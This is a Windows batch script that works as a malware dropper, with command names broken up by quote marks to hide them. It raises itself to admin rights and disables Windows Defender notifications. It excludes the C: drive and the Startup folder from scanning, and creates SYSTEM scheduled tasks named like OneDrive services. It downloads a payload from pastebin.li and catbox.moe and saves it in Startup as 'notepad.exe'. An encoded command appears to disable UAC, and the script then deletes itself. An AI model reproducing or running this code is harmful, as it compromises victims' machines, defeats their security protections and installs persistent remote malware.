@echo OFF
mode con cols=15 lines=1
p""oWE""rsHel""l.exe -NoP -NonI -W Hidden -Exec Bypass IEX 

call :Admin

:Admin
reg query "HKU\S-1-5-19\Environment" >nul 2>&1
if not %errorlevel% EQU 0 (
    cls
    p""oWE""rs""Hel""l.exe -windowstyle hidden -Noprofile "Start-Process '%~dpnx0' -Verb RunAs"
    exit
)

Re""g add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t reg_dword /d 1 /f

p""oWE""rsHel""l.exe -command Add-MpPreference -ExclusionPath c:
p""oWE""rsHel""l.exe -Command Add-MpPreference -ExclusionPath %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start` Menu\Programs\Startup

s""cht""as""ks /create /tn OneDriveApiUpReDown /tr "Powershell -Command Invoke-WebRequest https://pastebin.li/raw/task-37657 -Outfile %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start` Menu\Programs\Startup\OneDriveApiUpReDown.cmd" /ru System /sc weekly /d MON,FRI /f
s""cht""as""ks /create /tn OneDriveApiUpDown /tr "Powershell -Command Invoke-WebRequest https://files.catbox.moe/14e5ac.dat -Outfile %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start` Menu\Programs\Startup\notepad.exe" /ru System /SC ONLOGON /DELAY 0000:59 /f
s""cht""as""ks /create /tn OneDriveApiUpAdd /tr "Powershell -command Add-MpPreference -ExclusionPath %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start` Menu\Programs\Startup" /ru System /SC ONLOGON /DELAY 0000:45 /f

timeout 5

p""oWE""rsHel""l.exe -Command Invoke-WebRequest https://files.catbox.moe/14e5ac.dat -Outfile %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start` Menu\Programs\Startup\notepad.exe

ta""sK""Kill /IM "AddInUtil.exe" /F
ta""sK""Kill /IM "aspnet_compiler.exe" /F
ta""sK""Kill /IM "MSBuild.exe" /F
ta""sK""Kill /IM "RegAsm.exe" /F
ta""sK""Kill /IM "AddInProcess.exe" /F
ta""sK""Kill /IM "RegSvcs.exe" /F

p""oWE""rsHel""l.exe -command Remove-MpPreference -ExclusionPath c:
p""oWE""rsHel""l.exe -command Remove-MpPreference -ExclusionPath c:\
p""oWE""rsHel""l.exe -command Remove-MpPreference -ExclusionPath %USERPROFILE%
p""oWE""rsHel""l.exe -command Remove-MpPreference -ExclusionPath %USERPROFILE%\
p""oWE""rsHel""l.exe -command Remove-MpPreference -ExclusionPath %USERPROFILE%\AppData\Roaming
p""oWE""rsHel""l.exe -command Remove-MpPreference -ExclusionPath %USERPROFILE%\AppData\Roaming\
p""oWE""rsHel""l.exe -command Remove-MpPreference -ExclusionPath %USERPROFILE%\AppData\Local\Temp
p""oWE""rsHel""l.exe -command Remove-MpPreference -ExclusionPath %USERPROFILE%\AppData\Local\Temp\

p""oWE""rsHel""l.exe -exEc bypass -enc cgBlAGcALgBlAHgAZQAgAEEARABEACAASABLAEwATQBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFAAbwBsAGkAYwBpAGUAcwBcAFMAeQBzAHQAZQBtACAALwB2ACAARQBuAGEAYgBsAGUATABVAEEAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYADQAKAA==

cls
c:
cd\
cd "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
start notepad.exe
timeout 3
del *.cmd /f /q

cls
exit
exit